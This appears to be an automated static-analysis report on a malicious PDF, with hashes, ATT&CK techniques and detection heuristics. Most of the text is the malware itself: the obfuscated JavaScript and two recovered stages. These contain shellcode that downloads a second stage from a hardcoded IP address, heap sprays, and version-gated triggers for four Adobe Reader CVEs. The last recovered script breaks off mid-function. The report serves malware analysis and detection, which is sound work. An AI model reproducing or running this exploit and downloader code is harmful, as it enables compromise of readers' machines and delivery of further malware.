Malicious PDF — malware analysis report

Static analysis result for SHA-256 bb5b9f6f00500697…

MALICIOUS

PDF

12.6 KB First seen: 2026-05-08
MD5: 260e8817f7f29d02fcef214c8058b393 SHA-1: e330b78a1ec7abf3922c86820722918f6bc81685 SHA-256: bb5b9f6f005006979b6c5325d112c6c5609a1fc97acdaeb585407edd5de8bed1
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it downloads a second-stage payload from the URL http://66.199.229.50/w.php?f=36&e=5. This is a common technique for delivering further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=36&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11847 bytes
SHA-256: 01f39abc61acdd555b07a29d2b8003da458d84f9ab45d4cb64394c9766b90c32
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(70,51,35,31,35,7,2,7,73,73,1,17,56,21,45,7,41,39,58,20,60,60,41,39,51,54,31,69,41,39,58,64,51,54,41,39,14,64,31,69,41,39,31,53,20,69,41,39,20,20,64,51,41,39,60,69,54,59,41,39,69,59,58,1,41,39,58,1,20,59,41,39,59,54,69,59,41,39,14,59,58,1,41,39,64,60,2,54,41,39,14,60,58,1,41,39,20,20,59,58,41,39,60,60,61,1,41,39,64,31,58,1,41,39,59,20,20,54,41,39,20,20,14,69,41,39,58,2,57,54,41,39,2,64,31,31,41,39,51,51,2,59,41,39,1,58,51,51,41,39,69,59,58,1,41,39,54,20,20,59,41,39,20,53,69,60,41,39,14,64,59,60,41,39,58,14,51,1,41,39,57,69,20,69,41,39,31,69,58,64,41,39,64,2,14,64,41,39,31,1,31,53,41,39,64,2,69,54,41,39,58,1,64,60,41,39,20,54,14,64,41,39,14,69,58,1,41,39,14,58,20,64,41,39,51,64,59,20,41,39,58,1,64,60,41,39,57,59,14,60,41,39,51,64,59,20,41,39,54,53,20,20,41,39,69,2,69,53,41,39,16,61,51,54,41,39,54,64,59,20,41,39,61,1,20,20,41,39,1,31,59,51,41,39,20,58,2,59,41,39,14,69,51,57,41,39,54,2,59,58,41,39,59,61,54,1,41,39,61,16,59,20,41,39,31,1,69,59,41,39,20,1,51,2,41,39,14,64,2,51,41,39,64,31,31,60,41,39,64,31,58,1,41,39,59,20,57,69,41,39,60,60,61,61,41,39,59,54,58,1,41,39,58,61,69,1,41,39,31,54,69,60,41,39,64,69,51,51,41,39,59,54,57,69,41,39,61,58,58,1,41,39,61,61,59,20,41,39,59,69,58,1,41,39,59,20,58,1,41,39,16,1,54,64,41,39,64,53,64,31,41,39,31,1,54,20,41,39,16,61,64,20,41,39,60,58,58,1,41,39,58,59,57,59,41,39,59,54,14,61,41,39,14,69,20,20,41,39,53,60,59,20,41,39,51,20,31,1,41,39,60,58,58,1,41,39,58,1,59,58,41,39,60,16,51,14,41,39,64,53,59,64,41,39,53,58,31,58,41,39,51,51,51,51,41,39,31,57,51,51,41,39,31,58,51,53,41,39,59,59,59,59,41,39,59,59,59,59,41,39,64,59,64,58,41,39,69,59,60,16,41,39,51,51,60,58,41,39,59,59,59,59,41,39,64,59,59,59,41,39,54,59,58,20,41,39,64,59,2,53,41,39,58,1,64,64,41,39,58,1,31,54,41,39,2,59,64,31,41,39,54,20,58,20,41,39,51,51,59,64,41,39,60,58,31,20,41,39,60,31,60,51,41,39,59,59,59,59,41,39,14,64,60,58,41,39,60,54,14,57,41,39,64,69,60,61,41,39,2,60,51,51,41,39,54,69,58,20,41,39,58,1,59,58,41,39,31,58,31,58,41,39,51,51,60,2,41,39,51,51,51,51,41,39,59,57,31,1,41,39,14,57,31,1,41,39,31,54,58,2,41,39,59,2,59,69,41,39,59,59,59,59,41,39,64,54,58,61,41,39,59,54,57,69,41,39,59,69,54,14,41,39,14,57,57,69,41,39,60,14,60,64,41,39,54,14,14,20,41,39,57,69,69,69,41,39,14,60,59,69,41,39,20,20,14,57,41,39,54,14,20,57,41,39,57,69,69,69,41,39,57,59,59,58,41,39,14,20,57,61,41,39,64,20,57,59,41,39,51,58,60,58,41,39,59,59,59,59,41,39,51,51,59,59,41,39,59,54,64,60,41,39,31,58,58,1,41,39,54,53,20,20,41,39,54,14,64,2,41,39,2,61,69,69,41,39,14,14,59,59,41,39,60,57,14,59,41,39,54,14,14,69,41,39,2,61,69,69,41,39,57,31,59,64,41,39,60,54,60,69,41,39,54,60,60,54,41,39,2,61,69,69,41,39,59,59,59,53,41,39,58,16,64,53,41,39,59,69,54,2,41,39,58,58,20,59,41,39,2,61,69,69,41,39,69,2,59,69,41,39,60,16,64,2,41,39,60,16,59,59,41,39,64,20,59,59,41,39,60,16,64,14,41,39,51,51,59,59,41,39,2,69,64,60,41,39,54,59,58,64,41,39,2,60,14,64,41,39,59,59,60,16,41,39,51,51,64,20,41,39,59,69,64,60,41,39,59,59,60,16,41,39,31,1,58,20,41,39,64,20,59,54,41,39,64,60,51,51,41,39,58,20,59,69,41,39,59,54,54,20,41,39,59,57,31,1,41,39,2,20,31,1,41,39,58,59,69,14,41,39,59,59,20,51,41,39,51,16,14,64,41,39,58,59,69,14,41,39,59,59,20,51,41,39,54,69,14,64,41,39,59,59,60,16,41,39,51,31,60,16,41,39,64,60,51,51,41,39,31,58,59,58,41,39,51,31,53,54,41,39,51,51,51,51,41,39,69,31,58,31,41,39,31,54,59,31,41,39,51,31,53,58,41,39,59,31,58,16,41,39,60,51,58,53,41,39,1,61,59,2,41,39,54,16,20,20,41,39,64,1,58,16,41,39,54,60,2,1,41,39,14,53,69,60,41,39,2,16,20,60,41,39,14,59,57,51,41,39,14,69,60,58,41,39,14,59,14,69,41,39,57,51,20,16,41,39,20,60,57,51,41,39,57,31,20,60,41,39,20,53,20,2,41,39,57,31,20,53,41,39,20,57,20,57,41,39,57,31,20,53,41,39,20,59,20,64,41,39,14,14,57,51,41,39,14,59,57,31,41,39,14,59,60,58,41,39,60,60,20,51,41,39,20,20,20,61,41,39,57,60,20,60,41,39,20,61,60,64,41,39,59,59,20,64,41,39,59,59,59,59,7,27,51,39,37,54,24,70,62,37,18,31,46,44,66,35,66,16,30,48,74,73,15,13,3,70,72,31,35,66,16,50,72,31,37,21,24,3,63,57,9,48,74,73,15,66,16,71,45,66,16,27,75,66,16,45,66,16,50,56,39,1,56,24,66,70,37,21,35,59,30,48,74,40,57,73,27,66,31,24,39,66,37,18,66,16,27,75,18,51,39,37,54,24,70,62,37,18,1,43,35,73,15,44,16,66,18,61,67,21,45,37,31,13,18,29,66,66,16,74,35,73,27,44,16,66,18,44,13,45,59,43,59,54,59,54,59,54,59,54,27,44,16,66,18,16,61,61,66,45,59,43,69,59,59,59,59,59,27,44,16,66,18,10,16,74,72,62,16,61,45,39,37,31,56,54,16,10,31,35,1,17,56,21,73,27,44,16,66,18,56,54,36,72,31,37,45,10,16,74,72,62,16,61,50,72,31,37,21,24,3,63,57,27,44,16,66,18,48,74,45,16,61,61,66,33,35,56,54,36,72,31,37,71,59,43,20,58,73,27,44,16,66,18,74,16,66,56,10,45,39,37,31,56,54,16,10,31,35,38,41,39,53,59,53,59,41,39,53,59,53,59,38,73,27,74,16,66,56,10,45,31,46,44,66,35,74,16,66,56,10,30,48,74,73,27,44,16,66,18,54,62,39,37,24,57,45,35,44,13,33,59,43,69,59,59,59,59,59,73,40,16,61,61,66,27,51,62,66,35,44,16,66,18,54,62,39,37,24,45,59,27,54,62,39,37,24,9,54,62,39,37,24,57,27,54,62,39,37,24,71,71,73,15,61,67,21,23,54,62,39,37,24,22,45,74,16,66,56,10,71,10,16,74,72,62,16,61,27,75,18,44,16,66,18,62,44,31,66,51,72,62,13,45,39,37,31,56,54,16,10,31,35,38,41,39,59,54,59,54,41,39,59,54,59,54,38,73,27,13,3,70,72,31,35,62,44,31,66,51,72,62,13,50,72,31,37,21,24,3,9,69,69,53,64,57,73,15,62,44,31,66,51,72,62,13,71,45,62,44,31,66,51,72,62,13,27,75,18,24,3,70,56,50,54,62,72,72,16,1,5,24,62,66,31,45,12,62,72,72,16,1,50,54,62,72,72,31,54,24,42,34,16,70,72,25,37,51,62,35,15,56,39,1,17,65,38,38,30,34,56,21,65,62,44,31,66,51,72,62,13,75,73,27,75,18,51,39,37,54,24,70,62,37,18,10,66,70,37,24,51,35,73,15,37,62,10,45,39,37,31,56,54,16,10,31,35,38,41,39,59,29,59,29,41,39,59,29,59,29,41,39,59,29,59,29,41,39,59,29,59,29,38,73,27,44,16,66,18,10,16,74,72,62,16,61,45,39,37,31,56,54,16,10,31,35,1,17,56,21,73,27,3,31,16,10,1,72,62,54,67,45,37,62,10,71,10,16,74,72,62,16,61,27,1,70,21,1,72,62,54,67,45,39,37,31,56,54,16,10,31,35,38,41,39,59,29,59,29,41,39,59,29,59,29,38,73,27,3,31,16,61,31,66,56,70,46,31,45,57,59,27,56,10,66,16,74,45,3,31,16,61,31,66,56,70,46,31,71,3,31,16,10,1,72,62,54,67,50,72,31,37,21,24,3,27,13,3,70,72,31,35,1,70,21,1,72,62,54,67,50,72,31,37,21,24,3,9,56,10,66,16,74,73,15,1,70,21,1,72,62,54,67,71,45,1,70,21,1,72,62,54,67,27,75,18,51,70,72,72,1,72,62,54,67,45,1,70,21,1,72,62,54,67,50,56,39,1,56,24,66,70,37,21,35,59,30,56,10,66,16,74,73,27,1,72,62,54,67,45,1,70,21,1,72,62,54,67,50,56,39,1,56,24,66,70,37,21,35,59,30,1,70,21,1,72,62,54,67,50,72,31,37,21,24,3,33,56,10,66,16,74,73,27,13,3,70,72,31,35,1,72,62,54,67,50,72,31,37,21,24,3,71,56,10,66,16,74,9,59,43,69,59,59,59,59,73,15,1,72,62,54,67,45,1,72,62,54,67,71,1,72,62,54,67,71,51,70,72,72,1,72,62,54,67,27,75,18,34,31,34,45,37,31,13,18,29,66,66,16,74,35,73,27,51,62,66,35,70,45,59,27,70,9,2,69,59,59,27,70,71,71,73,15,34,31,34,23,70,22,45,1,72,62,54,67,71,3,31,16,10,1,72,62,54,67,27,75,18,44,16,66,18,37,39,34,45,2,57,53,53,53,53,53,53,53,53,53,53,53,53,53,53,53,53,53,53,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,27,39,24,70,72,50,10,66,70,37,24,51,35,38,41,69,64,59,59,59,51,38,30,37,39,34,73,27,75,18,51,39,37,54,24,70,62,37,18,21,31,24,70,54,62,37,35,73,15,44,16,66,18,16,66,66,74,45,37,31,13,18,29,66,66,16,74,35,73,27,70,51,35,16,10,10,50,61,62,54,50,12,62,72,72,16,1,50,21,31,24,25,54,62,37,73,15,44,16,66,18,10,16,74,72,62,16,61,45,39,37,31,56,54,16,10,31,35,1,17,56,21,73,27,44,16,66,18,3,49,48,64,59,59,12,28,45,10,16,74,72,62,16,61,50,72,31,37,21,24,3,63,57,27,44,16,66,18,48,74,45,59,43,69,59,59,59,59,59,33,35,3,49,48,64,59,59,12,28,71,59,43,20,58,73,27,44,16,66,18,74,16,66,56,10,45,39,37,31,56,54,16,10,31,35,38,41,39,53,59,53,59,41,39,53,59,53,59,38,73,27,74,16,66,56,10,45,31,46,44,66,35,74,16,66,56,10,30,48,74,73,27,44,16,66,18,10,64,29,17,4,60,64,51,45,35,59,43,59,54,59,54,59,54,59,54,33,59,43,69,59,59,59,59,59,73,40,59,43,69,59,59,59,59,59,27,51,62,66,35,44,16,66,18,44,48,54,68,26,53,60,74,45,59,27,44,48,54,68,26,53,60,74,9,10,64,29,17,4,60,64,51,27,44,48,54,68,26,53,60,74,71,71,73,15,16,66,66,74,23,44,48,54,68,26,53,60,74,22,45,74,16,66,56,10,71,10,16,74,72,62,16,61,27,75,18,44,16,66,18,24,6,32,3,28,1,0,13,45,39,37,31,56,54,16,10,31,35,38,41,59,53,38,73,27,13,3,70,72,31,35,24,6,32,3,28,1,0,13,50,72,31,37,21,24,3,9,59,43,69,59,59,59,73,15,24,6,32,3,28,1,0,13,71,45,24,6,32,3,28,1,0,13,27,75,18,24,6,32,3,28,1,0,13,45,38,28,50,38,71,24,6,32,3,28,1,0,13,27,16,10,10,50,61,62,54,50,12,62,72,72,16,1,50,21,31,24,25,54,62,37,35,24,6,32,3,28,1,0,13,73,27,75,75,18,16,11,72,39,21,70,37,56,45,16,10,10,50,10,72,39,21,25,37,56,27,44,16,66,18,56,44,45,10,16,66,56,31,25,37,24,35,16,10,10,50,44,70,31,13,31,66,19,31,66,56,70,62,37,50,24,62,5,24,66,70,37,21,35,73,50,54,3,16,66,29,24,35,59,73,73,27,51,62,66,35,44,16,66,18,70,45,59,27,70,9,16,11,72,39,21,70,37,56,50,72,31,37,21,24,3,27,70,71,71,73,15,70,51,35,16,11,72,39,21,70,37,56,23,70,22,50,37,16,34,31,45,45,7,42,5,54,66,70,10,24,7,73,15,44,16,66,18,72,44,45,16,11,72,39,21,70,37,56,23,70,22,50,44,31,66,56,70,62,37,27,75,75,18,70,51,35,35,72,44,45,45,53,73,8,8,35,35,56,44,45,45,58,73,47,47,35,72,44,9,45,58,50,2,57,73,73,73,15,21,31,24,70,54,62,37,35,73,27,75,31,72,56,31,18,70,51,35,72,44,45,45,14,50,2,73,15,10,66,70,37,24,51,35,73,27,75,31,72,56,31,18,70,51,35,35,35,56,44,45,45,60,73,8,8,35,56,44,45,45,14,73,73,47,47,35,72,44,9,14,50,2,2,73,73,15,1,43,35,73,27,75,31,72,56,31,18,70,51,35,35,72,44,55,45,53,50,2,73,8,8,35,72,44,9,45,53,50,57,73,8,8,35,72,44,55,45,58,50,2,20,73,8,8,35,72,44,9,45,58,50,2,14,73,73,15,51,39,37,54,24,70,62,37,18,16,35,73,15,39,24,70,72,50,10,66,70,37,24,61,35,7,10,52,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,18,65,18,74,74,74,74,2,2,2,7,30,37,31,13,18,26,16,24,31,35,73,73,27,75,44,16,66,18,3,45,16,10,10,50,10,72,39,21,25,37,56,27,51,62,66,35,44,16,66,18,51,45,59,27,51,9,3,50,72,31,37,21,24,3,27,51,71,71,73,15,70,51,35,3,23,51,22,50,37,16,34,31,45,45,7,42,5,54,66,70,10,24,7,73,15,44,16,66,18,70,45,3,23,51,22,50,44,31,66,56,70,62,37,27,75,75,18,70,51,35,35,70,55,58,50,2,57,73,47,47,35,70,9,58,50,57,73,73,15,54,45,37,31,13,18,29,66,66,16,74,35,73,27,44,16,66,18,61,45,39,37,31,56,54,16,10,31,35,7,41,39,53,59,53,59,41,39,53,59,53,59,7,73,27,44,16,66,18,31,45,39,37,31,56,54,16,10,31,35,1,17,56,21,73,27,13,3,70,72,31,35,61,50,72,31,37,21,24,3,9,45,59,43,58,59,59,59,73,15,61,71,45,61,27,75,61,45,61,50,56,39,1,56,24,66,35,59,30,59,43,58,59,59,59,33,31,50,72,31,37,21,24,3,73,27,51,62,66,35,51,45,59,27,51,9,57,53,59,59,27,51,71,71,73,15,54,23,51,22,45,61,71,31,27,75,16,35,73,27,16,35,73,27,24,66,74,15,24,3,70,56,50,34,31,61,70,16,50,37,31,13,11,72,16,74,31,66,35,37,39,72,72,73,27,75,54,16,24,54,3,35,31,73,15,75,16,35,73,27,75,75);
a=new String("Gb1hKSU'|<pPCw7{aj V3g][tID;NA,eM-m(_n'u/%Exv=z&qW.f@9c>s2806do*5:rkQ4i+l)y}");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: e6a849489251f692666da688b0f0f89be351753a48efad784bb61614711f8de7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 5645e869bca7d0448b699338ebfd54e205f8c213d9c7d0ca08eee5119ffae73d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u333d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 